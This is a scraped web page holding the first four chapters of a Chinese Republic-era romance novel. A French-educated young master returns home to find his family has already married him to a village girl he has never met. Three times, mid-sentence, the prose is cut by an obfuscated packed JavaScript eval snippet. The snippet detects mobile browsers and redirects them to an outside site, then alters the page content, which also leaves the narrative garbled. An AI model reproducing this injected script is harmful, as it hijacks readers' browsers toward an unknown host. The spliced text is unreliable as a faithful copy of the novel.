《民国旧妻驯夫记》 1. 刘珉之 刘家的小少爷从法国留学回来，这在漳县可是件大事。 他穿洋学士服的照片早见了报，细长脸，留短头发，眼睛上两个圆溜溜的大窟窿，往报纸里头带笑看你。如今这张脸切实出现漳县大街上，引得路人纷纷回望。 今儿他穿的是紧身窄袖的洋西装，身量细长，翘二郎腿坐在崭新的黄铜面包车上，肩背板的很直，屁股只蹭了半截椅子，没靠靠背。车夫的草鞋呼哧呼哧往前，四里八方的乡亲好奇地跟在后头。车轮隆隆，戛然停在刘府阔绰的大门前。 车夫用搭在肩膀的毛巾胡乱抹把脸。 “二少爷，到了。” “嗯。” 二少爷从鼻孔里嗡出一个音节，挺身找双边扶手，车夫赶紧来搀他。 他推开对方冒热气儿的胳膊，从踏板上轻盈地跃下站稳，没急着进家门，先和围观的乡亲挥手打招呼。 乡亲们往后退了一步，小孩藏在母亲身后看他。 小少爷放下双手，有些感慨。 “各位乡亲，几年未见，我是刘家的小儿子刘珉之，大家认得我吗？” 没人回他，他也不尴尬，自己走进人群，蹲下来摸一个小孩的脸蛋：“你是谁家的孩子，长这么大了？” 小孩黑瘦，也不怕生，伸手抢他的的眼镜，他一歪头，金属的眼镜腿戳过眼皮。 裹烂头巾的女人噗通跪在地上，拦腰抱住孩子往后扯：“少爷，小孩不懂事呢，您莫怪他，要怪就怪俺，俺对不住您。” 她怯生生抱着孩子，刘珉之一笑，把人扶起来。 “张婶，您这不是折我的寿吗？” 女人愣了：“你认得我？” 刘珉之把眼镜端正戴好，俯视这个身材缩水的中年女人。 “您在东市卖了十几年豆腐了，谁不认得？四年不见了，您还做豆腐吗？我在外头就想着这一口呢。” 张婶眼神呆滞了，接着涌出热泪：“少爷，您真是好人呐，居然还记得我这号人……” 他握住对方浮肿凹陷的手掌轻拍两下：“张婶，新时代来了，日子会好起来的。” 张婶张着嘴，不明所以地看着他。 他站直身子，他比大部分人都高，能看到后面围的一圈圈人。穿短打的、穿长衫的；留钢筋头的，盘发的，蒙头巾的；眼睛有亮的、有呆的、有苦的。刘珉之站在众人瞩目的中心，徒然起了做主角的意气。 他清清嗓子，提高音量。 “乡亲们，我刘珉之远去法国，深感祖国之落后啊。” 他伸手指向人群中央：“你们看看。” 众人随着他的指尖望去，那是一个壮年汉子，他皱着眉头，不悦地回视。 “民国二十五年了，清政府推翻这么久，居然还有人留辫子，还有人效忠愚昧的旧政府！” 皇权破灭多年，军阀轮番更替，民国与列强谋皮。但他们这儿离皇城根儿远，犯不着那些人和事。漳县留辫子的人还不少，平时也有人拿着打趣儿，笑他们舍不得老佛爷，早晚让洋人绞了辫子垫铁路。 可那毕竟是熟人打趣，如今猛然被一个新派少爷当众指责，众目睽睽的，那汉子如坐针毡，将毛糙的长辫绕上脖颈，灰溜溜走了。 “大家看，这就是封建，是旧时代的产物，是注定要被剔除的。” 众人你看看我我看看你，几个年老的留头人面露愠色，又碍于那人高马大的车夫，不好发作。 刘珉之浑然不觉，用在国外演讲时的气势高呼：“乡亲们，皇上太后都没了，我们为什么还要留辫子？头上的鞭子要剪，心里的鞭子也要剪，我刘珉之敢在这里和你们讲，我们马上会迎来一个新时代，一个民主自由的时代！” “啪。啪。” 张嫂家的小孩突然鼓起掌来，张嫂回神打他。 小孩还了母亲一下，继续鼓掌。 刘珉之大笑，俯身和小孩击掌：“咱们的小主角听懂了，迫不及待要迎接新时代了，是不是？” 小孩又忽然腼腆起来，躲在母亲身后。 张嫂有些尴尬：“小孩子不懂事，少爷莫见怪。” “我看他懂事的很呐，是不是，嗯，是不是？” 小孩被挠的咯吱笑，刘珉之满意了。虽然大部分人都丈二和尚摸不着头脑，但他这场演讲还是起到了一定效果，起码，在一个孩子心中埋下了一颗小小的种子。 “二少爷，夫人正盼着您呢，您快进来吧。” 刘珉之回头，一个穿马褂带瓜皮帽的老人家揣手而来，他与记忆里的容貌一样，就是脸颊消瘦些，胡子白些。 “大伙儿别聚这儿了，都散了吧。” 他底气没以前足，音量不够大，好在还有些余威。众人做鸟兽散，他又扭头呵斥车夫：“行李也不会帮少爷拿，就在这傻愣着，像什么样子。” 刘珉之笑道：“钱管家，别怨他，是我来兴致了。” 钱管家不语，躬身挥臂：“少爷请。” 刘珉之进了大院，四年过去，刘宅全然没有变化。 两进的院子，从宅门进正对富贵牡丹的影壁，往左进垂花门，来到正院。青砖的小道两边依旧是高大的广玉兰，树干和他走时一边粗。 正房是敞开的，父亲不在，母亲颤颤巍巍迎上来。 老太太驻着梨花木的拐，费力地拉着小儿子前后看，两下蓄满眼泪。 “好、好，好儿子。” 母亲是这个家变化最大的，干瘦了，头发也白，眼睛比从前更浑浊，用这双眼看见的儿子不知有没有畸变。 刘珉之少不了摸着老太太一番宽慰，父亲和大哥都在外公干，要晚上才能聚上，老太太念着他瘦了累了，喊他吃了茶点赶紧回屋里歇息。 “顺便看看你媳妇。” 刘珉之噗嗤一口茶水吐出来。 “娘，你说啥？” “你媳妇，王家的姑娘，已经接到咱们屋里了，她人不错，你回来了和她好好过日子。” “咳、咳咳。” 刘珉之拍着胸口，快喘不过气。 他八九岁的时候，家里和县公曙里写文书的王鸿的独女定了亲，后来，军阀轮番混战，王鸿得罪了新来的老爷，被打发回村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501944|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里种田，两家的来往便慢慢淡了，年轻人更是从没见过面。 他在国外读书，深受自由恋爱的观念影响，一直催家里把婚退了。父亲骂他，说他不知廉耻，已经定下的事，哪能在人家衰败时退掉？他叫苦不迭，又不敢忤逆父亲，这件事便一拖再拖。直到去年冬天王鸿去世，他在法国去的悼词，都不敢提断亲一个字。 但他始终记挂着这事，想亲自登门与王家致歉，定要做个了结。谁成想家里直接把人接来了？ “这算什么事？快给人送走！” 老太太不悦：“桂英过了堂，是咱们家的人，哪有说送就送的。” 刘珉之瞠目结舌：“过了堂？什么时候的事？我怎么不知道？” “今年三月初七，是个大吉日。” 刘珉之捋着额前的头发来回踱步。 “我都不在家，你们就把我婚事给办了？” 老太太并不觉得有什么问题：“早晚的事，那会儿你父亲身体不好，得冲冲喜。” 刘珉之气极反笑：“就这样？” “不然呢？” 老太太的理所应当让他更加烦躁。 “不行，我得找她去。” 他闯进从小住的东厢房，房间很干净，没一点儿灰霉味儿，就是到处贴着大红色的双喜字，和他铁青的脸色正相配。 刘珉之刷刷几下把双喜字撕下来，凶狠地团成团丢出去。 不明所以的女孩子进来查看，正被他一团红纸砸在脑袋上。 刘珉之中断怒气，他瞧对方面生，拿不准身份。 “你是谁？” 女孩怯生生的：“我是小葱，伺候二奶奶的。” 怪不得面生，估计是才买进来的。 “这个宅子没有二奶奶，只有二少爷，你今后不必伺候了。” “啊？” 小葱惶恐地站不住，噗通跌跪在地上，止不住地磕头：“二少爷，求您别赶我走，您别赶我走！” 她年纪小，磕头的力道却实在，闷闷地一声声撞出来，却撞不进刘珉之满腔怒火的耳朵。 怎么被褥全是大红色！ 这红刺的刘珉之眼愠，他在国外自理惯了，干脆亲自上手拆床单被罩。小葱眼见有表现的机会，机灵地抢活儿：“我来。” 刘珉之下意识拒绝，胳膊肘一甩，柴火棍一样瘦的女孩跌坐在地，不知撞到哪块骨头了，龇牙咧嘴地起不来。 “你……” “你欺负丫头做什么？” 一个干脆的、利落的声音，音色醇厚，非有广阔的胸膛不能发出。 不知怎的，刘珉之心中起了兆头，这人一定是“她”。 他转身，看到一个穿红色大袖衫的矮个女人。那衣衫是棉绸的料子，袖子放量大，本该如绉纱叠波，如今却紧紧扎在黑色的捆袖里，露出女人圆润丰腴的腕子。 不仅腕子圆，这女人脸蛋也圆，颊腮的皮肉花朵似的绽着，眼睛黑亮有神，眉毛色浓而弯。 她当然也能看出刘珉之的身份。 “你老瞧着我做什么？二少爷。” 2. 清汤面 “哼。” 刘珉之先从鼻子里哼出一个音节。两位“新人”第一次会面，谁先露了怯可不好。 “我就不与你废话了，这门亲事不算数，你还是清清白白的。我知道你们女人名节重，我这里还剩七百元，你拿回家，娘家人不好怪你，另外我家给的聘礼和你日常用的物件，你都可以带走。” 刘珉之自认大度，说的话也合礼数，那女人却仿佛听不见似的，只把小葱搀起来，叫她去涂红花油。 刘珉之不爽：“我在和你讲话。” 女人打量乱糟糟的床榻一眼，神色没变：“二少爷吃馄饨么？我煨了鸡汤，馄饨是马蹄和猪肉的馅，好消化的。” “不吃，你讲这些做什么，真把自己当刘家的主人了？” “烩点汤饭？拿馅料做丸子？” “你别老岔话，我在同你讲正经事。” “那下碗面？搁点葱花和猪油？” 刘珉之下意识接话：“我不吃葱。” “那吃清汤面。” 女人一锤定音，扭头走了。 “谁说我要吃东西了？” 刘珉之莫名其妙，拦也不是，留也不是。 这女人，就知道吃，怪不得脸那么圆！ 屋里剩他空荡荡一个人，他如冷水浇了头，冷静许多。 被褥全拆了，尚不能睡。屋里添了好几个衣箱，打开全是些女人衣服，他不敢乱翻，喊小葱进来收拾。那女孩见他，却活见鬼似的跑了。 真没规矩！ 刘珉之一肚子闷气儿没处撒，忽闻一股热腾腾的汤香气，把他生冷的肚子勾起瘾来。 “你又来做什么？我说了不吃。” 那女人雪白的腕子上捧个青花瓷碗，撂在桌上。 “二少爷慢用。” 说完直接转身离开。 “你别瞎忙活了，我方才同你说的话你听见没？” 刘珉之话在身后追不上她，像新时代追不上旧时代。 真是窝火！ 人既走了，刘珉之才好正眼去看那碗面。清白色的汤底，两个雪白的荷包蛋遮住底下的面条，点缀两根嫩黄的小白菜，简单又勾人。 他顿了两分钟，还是没人进来搭理他，干脆拿起筷子吸溜面条。 还是家里的鸡汤好吃，他在法国吃的都是些什么东西！生冷的面包，软塌塌的沙拉，硬而柴的肉，除了知识高贵什么都低劣。 刘家主餐只有早晚两顿，中午则简单吃口。因为父兄要出门做事，他们出门吃一餐，回家吃一餐，规矩紧着他们来。刘珉之到家是下午三点钟，不上不下的，老太太便叫他拿点心垫垫，到晚间再正经吃一顿。 兄长新近在军府做事，忙碌的很，放班不知要几时了。 面两筷子就吃完了，刘珉之将汤喝的干干净净，拿手绢擦嘴。 满足地伸个懒腰，扭头却见床上已整理好了，换了套深蓝色的被褥，叠的整齐。 什么时候的事？ 刘珉之一边羞恼于自己像没吃过面似的可耻的专注，一边又倦意上涌。 算了，母亲不理事，父兄都不在家，那王姑娘也不好相与，凡事急不得。 他怕王姑娘趁他睡着进屋，干脆和衣而眠。 夏季的黄昏和正午一样明亮，令人无法分辨，刘珉之许久没能回神，恍惚以为自己在法国的公寓里做梦。 被格菱花窗切碎的阳光照在刘珉之的照片上，脸还稚嫩，温吞，带羞怯的笑。 这已是前年照的了，那年春节，父母给他寄来了全家福，也要他新照一张相片邮到家里。 后来不是又寄了穿学士服那张么？那张照的更好。 对啊，他毕业了。 刘珉之大梦初醒，这才想起自己在彰县老家，还多了个已过堂的媳妇儿。 “二少爷，您歇好了么？老爷喊您吃晚饭。” 是钱管家，刘珉之不敢造次：“就来！” 他匆匆将西装穿戴整齐，对着镜子照了又照，确保父亲从他衣冠仪容上挑不出理儿，这才出门。 天一晃眼黑了，正厅点着厚厚的烛火，吸引着飞蛾、蚊虫，还有思乡的游子。 钱管家在盯着丫头上菜，老太太闭着眼睛等餐，父亲刘伯参在烛火下查看今日的拜帖。 父亲的变化比母亲还大，头发已全白了，站在那颤颤巍巍，像一根摇摆的灯芯。 刘珉之鼻头一酸，恭敬喊了声父亲。 刘伯参顿住，缓缓扭头瞧他。 父亲脸颊都瘦的凹陷了，以前那双锐利的、令人生惧的眼睛也失了伸，变成一个寻常的平和老人。 老人上下打量他，矜持地点了两下头：“不错。” 刘珉之很欣喜。 简单问了安，菜也上齐了，众人落座。 刘伯参不急着动筷子，还在考效刘珉之的政见，问他从法国学到了什么，刘珉之自然是长篇大论一番自由民主的论调，刘伯参眯着眼睛听。 “爹，我认为接下来是场硬仗，国内需要变革的地方太多了。” 他心潮澎湃，刘伯参却不予置评。 老太太呵呵笑道：“在饭桌上就不要讲国家大事了，吃完你们随意讲去。” “是，先吃饭，”刘伯参赞同夫人的话，吩咐钱管家，“去瞧瞧二奶奶，怎么还没来。” 刘珉之心里咯噔一声。 钱管家先看了刘珉之一眼，这才答话：“回老爷，二奶奶说今日身子不爽利，便不吃了。” 刘伯参果然不爽：“哪来的道理，饭也是说不吃就不吃的？这菜还是她昨日就开始准备的。” 老人又一转眼，皱起眉头：“珉之，是不是你埋怨她什么了？” 刘珉之惶恐：“我……” 刘伯参懒得听：“去叫二奶奶来，就说是我叫的。” 钱管家应了。 小一会儿，穿大红衫的矮个女人到了，恭恭敬敬朝三人行礼，腰福的极低：“爹，娘，二少爷安。” 刘伯参略点头：“坐吧。” “是。” 刘伯参敲敲桌子：“挨着二少爷坐。” “是。” 女人低头挨着刘珉之坐了，刘珉之紧紧抿着唇。 “给大少爷留了？” 女人快速回答：“留了菜的，放在锅里温着。” 刘伯参满意地点头，提起筷子：“吃饭。” 父亲下了令，桌上便不许说话了，只许吃喝。 今日桌上的菜色确实丰盛，正值夏季，炖的荷叶绿豆老鸽汤，清热消暑；肉菜有烤的鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501945|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉，炖的肥鹅，焖的羊肉和炒的排骨；素菜都是应季的新鲜蔬菜，炸茄盒、炒槐花、雕花萝卜淋汁豆腐，甚至还有一盘烤面包作甜点。 刘珉之看也没看那面包一眼，把肚子塞的溜儿圆。 吃完饭，钱管家吩咐撤菜，王桂英伺候二老漱口、净手，极殷切周到。 服侍他的是丫头小葱，还是那副怯生生唯恐刘珉之吃了她的模样，刘珉之一阵无言。 “爹，娘，我先下去了。” “去吧，珉之和我去书房。” 刘珉之心头一凛：“是。” 到了书房，只剩他们两个人，刘伯参仿佛又老了几岁。 刘珉之不敢先开口，恭恭敬敬坐了。 “我听说。” 刘珉之直起腰板。 “你今天在门口骂人家留辫子？还说留辫子的都该死?” 刘珉之大为惶恐：“哪有的事！” 他努力回忆自己说过的话：“我只是说他们这种旧观念是要被剔除的，哪里说了该死？” 刘伯参叹了口气：“意思也差不多了，钱管家还留着辫子呢！平白被你骂了。你才刚回来第一天，参你的本子就告到军务局去了，要不是你大哥消息灵通，都不知道你开罪了人。” 刘珉之大惊，实在想不通那群听众里有哪号人物能扯到军务部：“这……我只是随口一说。” “现在是能随口说话的时候吗？” 刘伯参拿眼睛瞪他，忽又咳了两声，刘珉之忙帮他拍背。 刘伯参缓过气儿来，看着长高了、变英俊了的小儿子，长叹一声。 “行了，好在是在漳县，咱们家还没人能欺负。” 刘珉之宽慰称是。 “对了，你和桂英是怎么回事？” 刘珉之几度张嘴，终究把话憋了出来：“爹，让她回王家吧。” “放肆！” 刘伯参居然恼的吹胡子瞪眼，着实把他吓了一跳。 “婚姻大事，岂能儿戏？” 我人不在就让她过堂了不就挺儿戏的。 刘珉之把话吞进肚子。 “我看你是在国外学傻了，什么话都敢乱说！ “不是，”刘珉之嗫嚅着，“我们俩都没见过面，怎么就结婚了？” “你们是打小订的亲，正儿八经的三书六聘！怎么不能结婚？我看你是在外头学坏了。外国人乱搞男女关系,见面就亲嘴，你们年轻人就爱这个。别跟我提自由恋爱！你看看搞自由恋爱的，有几个好下场？” 刘珉之想反驳，但知道父亲肯定不听。 “过日子才是正经事。” 刘伯参苦口婆心。 “还有，新中学的苏校长请你明天去学校吃中饭，少不得要聊些见解，你注意尺度，别给人落了把柄。” 好容易转了话题，刘珉之赶紧应和："是。" 刘伯参又咳了两声，容色枯槁。 “行了，你有自己的主意，也别叫家里难做，早些歇息吧。” 刘珉之应了，走到夏夜的院里，极茫然的。 他住的东厢房燃着鬼魅的火，他想到里面有人，颓然叹了口气。 小葱裹着薄被挨在门边守夜，脑袋一点一点，已睡熟了。 刘珉之推开房门。 3. 王桂英 烛火森森，女人穿着白色的中衣，鬓发已拆了，黑瀑似的散在肩上。 她正在整地上的床铺，撅着屁股和刘珉之打了个对眼。 “二少爷。” 她叫了声，继续把被褥锤的松散，暖呼呼地钻进去。 她倒是自觉，刘珉之想。 床上搁了一套绵绸的中衣，抖开一看，又长又宽，是他的码子，许是家里给新做的，他拿去屏风后换了，顿觉清凉不少。 王桂英闭着眼睛，不知是不是真的睡了。 好高明的女人，她都睡地上了，自己就不能赶她出去了。 她像地上长的一个瘤子，隔着高矮的空气让他在床铺上睡不安稳，像外国故事里公主床下那颗豌豆。 他终究挣扎起来，将人摇醒了。 “二少爷，是要喝水吗？” 她眨着黑亮的眼睛，推开被褥。 “不是，你……” “我怎么？” “你不能和我一个屋睡。” 他害怕她的反应，或许她很强硬，或许她又当听不见，想来想去，她哪种反应他都害怕。 她咬着肥厚而短的嘴唇：“为什么？” 刘珉之松口气，她愿意交流就好。 “因为男女有别，你和我睡了一个屋子，外人又要说闲话。我们造成的误会已经太多，能挽救一点是一点。” “让他们说去，我们是夫妻，这是应该的。” 他头一回正儿八经的听到夫妻两个字，脸都要吓歪了：“别乱讲！” 女人不悦：“我过了堂，跪了祖宗的。” 刘珉之想给她跪下了：“可是我不在，那只是个形式，婚姻这种事，要两情相悦的。” “什么是两情相悦？” 王鸿失势的早，女儿没念过两年书就跟他回老家种田了，连两情相悦都不知道。 “就是，”刘珉之挤眉弄眼地想怎么解释好，“就是你喜欢我，我喜欢你。” 王桂英毫不迟疑：“我喜欢你。” 刘珉之秀才遇到兵，一肚子循循善诱被堵死了。 他深吸几口气才找回在国外演讲时的底气，斩钉截铁道：“你不喜欢我。” “我喜欢你！哪有女人不喜欢丈夫的？” “那不是喜欢。” “那什么是喜欢？洋画本里也是这么写的！” 你还看洋画本呢，刘珉之诧异。 “画本里说什么？” 女人捂嘴打了个哈欠，她手指也是圆圆胖胖的，粗短，但是白净：“画本最后都结婚了，所以结婚是好事。” “那是哄小孩的。” 她不屑：“胡说，小孩能看这个？” 刘珉之越说自己越烦燥：“反正就是不行，你出去睡，我带你去书房。” 女人忽的醍醐灌顶，确信道：“你不要我。” 刘珉之不答，只一味卷铺盖。 女人如开了窍一般，盘膝坐在地上不动弹。 “你要休了我吗？我哪里做的不好？” “不是休，”刘珉之认为有必要解释清楚，“我们的婚姻是不做数的，你只是来我家住了几个月，你出去还是未嫁之身，清清白白的姑娘家。你以后和旁人结婚，我会向他们家解释清楚。” 他抱起铺盖：“走吧。” 王桂英消了气焰，像落了水似的。 “你要怎么才肯要我？” 刘珉之叹气：“你还是不明白，这不是要不要的问题。” 沉默漫延了一会儿，她忽的抢过被褥，抱着离开。 撞开的门板扇到小葱的脑袋，她不明所以，裹着薄被跟在女人身后，像无理由跟着母鸡的小鸡。 刘珉之莫名做了回负心汉。 这叫什么事啊！ 他从里头反锁房门，恹恹地躺下，又瞧见自己那张稚气的相片，带着笑的，羞怯的，隔着玻璃相框与如今的自己对视。 摆照片在床头作甚。 他将照片倒扣，吹熄烛火睡了。 刘珉之夜里睡得并不安稳，许是才从法国回来，还未适应。 他从手提箱里拿出一身新的西装换上，外套就不穿了，等出门再穿。 妆镜前全是女人用的霜和粉，他不好乱动。拿出自己的剃须水，将胡茬仔细刮了，又放回箱子。 自己的屋子，怎么到处是别人的东西。 刘珉之叹气，想着还是得让父亲同意退婚。 事到如今，也不知是算退婚还是休妻了。不，怎么也不该说“休妻”，顶多算“离婚”。 他差点被那女人带偏了。 刘珉之对着镜子胡思乱想。 他看一眼腕上的表，七点钟，也就是辰时，刘家该开第一餐饭了。 刘珉之的大哥刘琼越在军务部做事，漳县不是作战区，他主管物资和人事的调遣。这是个肥差，权力大，压力也大。他刚满三十岁，已比四年前老成许多。 刘琼越早年娶妻，是父亲千挑万选的书香门第孙家的女儿。那女孩子知书达理，处事端庄，刘琼越极敬重她。可她身子骨弱，年纪轻轻生下儿子，没几年就撒手去了。刘琼越一直没续弦，外头养着几个女人，从不往家里带。唯对这个独子精心养着，才长大些便送到上海读中学。 刘宅就他们几号人，刘琼越和刘伯参在看一早送来的报纸。王桂英换了身黑衣衫，边帮老太太捏肩膀边和她说家常。 老太太耳背，声音小了怕她听不到，声音大了又怕吵着男人看报，王桂英便凑在婆婆耳边说。 刘珉之看到吓了一跳，不知她在说什么不该说的。 王桂英面无表情叫他二少爷。 刘珉之应了，朝父母和兄长见礼。 “我从法国带了礼物，昨日已给了父亲母亲，今日才能给大哥。” 昨日给父亲的是一根欧式抛光手杖，母亲的是几尺丝绒料子和一条法国手链。王桂英一无所有，刘母便将衣料给了她。今日给大哥的是一块手表，还有叫他转赠侄儿的钢笔。 刘琼越将盒子打开，止不住笑了。 他两只手将金色的西洋表捧出来，喜欢的左右看，当场将原来的表取下，换它到腕子上。 “大哥喜欢就好。” “这是劳力士？” “大哥好眼力。” “蒋部长戴的就是这个牌子，怎么能不认得。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501946|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘珉之不懂这些，只听说这牌子在国内难买，咬牙买了只贵的。倒是阴差阳错送对了，十分高兴。 刘伯参吹胡子看了一眼。 刘琼越自然明白他的意思：“我知道的，爹要劝我，做实事的人不能打眼。可如今不比以前了，军队里头派系多，效仿上级也算风尚。” 刘伯参捋着胡子：“你自己拿主意，不必告诉我。” 对待已成器的儿子和未成器的儿子自然不能是一个态度。可他心里又窝火，干脆反过来教育刘珉之，怨他乱花钱，长篇大论一番刻苦与节俭，刘珉之老实受着。 刘琼越帮他说话：“小弟也是为家里人花的钱，你瞧他自己戴的表，都破了还在戴呢。” 刘珉之赶忙转着手查看，还真破了。他戴的是一块小羊皮的休闲表，不知是不是才从海上回来，湿度变化太大，表带末端有一小块皮开裂了。 刘琼越将才摘下来那只表给他：“先戴这只吧，改日我再送你只好的。” 中午要和新中学的校长见面，自然不能戴破了的表。 刘珉之小心翼翼将旧表取了，用手帕包起来，珍重地揣在前胸的口袋里。 “爹，你瞧瞧小弟这个穷酸相儿，你再骂他，他一会儿饭都不敢吃饱了。” 刘伯参板不住脸笑了，众人和气地吃了早饭。 吃完饭，刘伯参要去□□点卯，这是份闲差，但他很看重。 刘琼越有军务部的汽车接送，不怕迟到，犹坐着看报；王桂英扶老太太出去散步消食。 “你瞧着爹身体怎么样？” 只剩下他们兄弟俩，刘琼越率先开口。 刘珉之沉重道：“比从前差太多。” “也就是这一两年了，北京和上海的医生来看，都说挺过今年也难。” 刘珉之惊愕：“这么严重？” “开春后一直时好时坏的，好时看不出来，坏起来要人命。爹年纪也大了，这几年时局变动大，说句不好听的，现在死都算死在好时候了。” 说到最后一句话时，刘琼越声音阴冷，算变了个人似的。 刘珉之被震慑住，一时无言。 他缓了声音：“行了，你也成器了。在国外留洋的高材生，见识比大哥多。” 刘珉之忙道没有。刘琼越又问他未来打算，他都一一应了。 刘琼越满意地连点头：“不错，确实是个大人了。” 院子那头，王桂英扶着岣嵝的老太太进垂花门，送她回屋里歇息。 “你就算再不喜欢弟妹。” 刘珉之又是一惊，大哥怎么知道？ 刘琼越笑着解释：“我昨夜里头放班回来，正好看瞧见弟妹被你赶出屋。” 刘珉之脸色通红，他都不知自己为何感到难堪。或许他已默认他和王桂英是社会意义上的“小家”，“小家”的矛盾不该被“大家”知道。 大哥轻声劝他：“该做的样子还是做，父亲现在就是靠一口倔气吊着，你别招惹他，让他不开心。以后你走远了，爱做什么做什么。” 院子那头，王桂英似有所感，隔空与刘珉之对视一眼。 两人具是一滞，目光迅速分开，同时看向远处。 4. 苏学章 刘琼越被汽车接走，王桂英好像总有忙不完的事，并不在屋里呆着。 刘珉之再见到她时，她正跟钱管家嘀嘀咕咕地说话。 钱管家年纪大了，又瘦又干，唯脑后的辫子如旧，又油又亮。他年轻时在京城呆过，见识大，本事高，可惜世道乱，没攒下银子。回漳县后许多人家请他做事，终被刘伯参要到了。这些年来，钱管家不仅管宅里的事儿，还管刘家田里庄子和城里铺子的事儿，在刘家极受敬重。 “二少爷来找二奶奶的？我先退下了。” 刘珉之叫住他。 “钱管家，我昨日在外头说的话你别往心里去。我刚回国，学洋人说话的习气儿还没转过来呢。” 钱管家脸色稍缓。 “二少爷说的哪里话，您是主子，何必对我解释？” “什么主子不主子的，我说错了话，自然要认。” 钱管家拱手：“二少爷实在言重。” 他与刘珉之客客气气把话讲通，出去做他的事。 刘珉之讲通了这一个，还有另一个。 夏季已快过完，广玉兰肥厚的大白花朵凋零，只剩小块儿的白色花瓣点缀深绿的树冠。树下的女人严严实实裹在黑色的衫子里，和不肯结束的夏季一样顽固。 王桂英捻着绢子，站着不做声，只用那双黑亮的眼睛看他，疑惑的、好奇的，似乎觉得新鲜有趣，却偏不敢探究。刘珉之莫名想起四年前的自己，那会儿他刚到法国，瞧见另一个世界时，也是这样的眼神。 他软了语气：“抱歉。” 王桂英防备：“做什么？” “昨晚你在哪儿睡的？” “客房。” “……哦。” 刘珉之不知该怎么说下去。 父母对这个儿媳都很满意，大哥也在劝，他短期内不敢再提离婚。可王桂英对他来说是陌生人。一个作为“妻子”的陌生人，刘珉之怎么相处都觉得尴尬。 “我昨晚撞见大哥了，大哥没说什么，让早点休息，我等他走了才去的客房，”王桂英主动澄清，“我可没乱说话。” 刘珉之不好意思起来：“我没这个意思。” 王桂英盯着他，用眼神说她不信。 刘珉之咳嗽两声，真诚道：“对不起。” 女人沉默，他乖乖敞开眼睛，被对方审判好几个来回。 似乎终于识别到他的诚意，王桂英轻轻嗯了一声。 刘珉之如释重负，道歉的目的正是被接受。 “我今晚回屋睡。” 刘珉之脑子没转过弯来：“啊？” 王桂英很失望：“你不是这个意思？” “当然不是！” 王桂英不爽：“你这人真不讲道理。” 刘珉之被勾了火，他最讨厌别人说他不讲理：“我怎么不讲理了？” “你昨天要我出去睡，今天又和我道歉，那就是觉得我出去睡不对，可我要回去睡你又不肯。” 刘珉之憋红了脸，无法反驳。 “做什么你都不肯，真晓不得你要什么。” 王桂英露出个挫败的表情。 刘珉之理亏，勉强坚持道：“反正我们不能一个屋睡。” “我又不做什么！” “不是……一个屋我睡不着。” 王桂英恍然，觉得这个理由可以信服，但她迅速找到漏洞。 “不对啊，我睡觉不打呼的。” 刘珉之泄气，不知道为何，每次与她交流都会偏离主题。 “先不和你讲，我要出去了。” 他匆匆脱身。 时间还早，但刘珉之实在不想在家里呆着。 漳县的新中学全名华新国民中学，校长苏学章是江浙人，原是北大高材生，年轻时参加过五四运动，做过进步青年代表。可惜苏学章毕业后官途不顺，常叹雾深水浊，人近中年，一事无成，于是立志投身教育，种树育人。 正好他听到漳县原校长贪污下马，便设法接了新校长一职，携家眷上任。他刚来，深感县学校的腐朽落后，频频改制。 他开立了外语科目，宣传男女同校，经常请国民政府的官员来做演讲，短短两年，倒真做出了名堂。 “哎呀呀，刘先生来了，有失远迎。” 苏学章面白，微胖，戴方框眼睛，眼睛小但很有神采。他说话的语调很奇怪，吴语混着京腔，竟并不难听。 刘珉之忙迎上去：“岂敢，久闻苏校长大名，今日终于有幸得见。” “刘先生不老实，我可不信我的名字能传到法国。” “父兄信里有提过校长大才。” 他哈哈大笑：“好了好了，客套话是越说越没完的，刘先生才回来？” 刘珉之握住他的手：“是，昨日才到家。” “倒是我不好，没叫刘先生在家里多歇几天。” 刘珉之苦笑：“能出来走走才好呢。” 苏学章引他进学校里，新中学占地面积大，操场都有两个，有个班正上体育课，穿学生服的男女们年轻的熠熠生辉，频频朝他俩打招呼。 “校长好，先生好。” 刘珉之笑着应了，苏学章很和蔼，一一和他们招手。 时近正午，太阳毒辣，刘珉之脱了外套搭在小臂上，里头的白衬衫被汗渍黏在前胸。 新教学楼是栋两层的红砖建筑，圆弧的顶儿，窗户开的不大，光线斜斜透进去。 “走，我带你去看看。” 进了楼里，一下变得清凉，刘珉之舒了口气，悄悄拉拉衣襟，给自己扇风。 苏学章随手推开一扇门，里面正上国文课，十来岁的学生们愁眉苦脸作短文。 “校长好。” “校长好。” “校长，”干瘦的老先生朝他点头致意，又看看他身边的刘珉之，“这位是？” "这位是刘珉之刘先生，才从法国学成归国。" 学生们炸开了锅。 “法国？法国在哪来着？” “我也好想留洋啊。” “你不看地图的么？法国就在英国边上。” “那也太远了。” 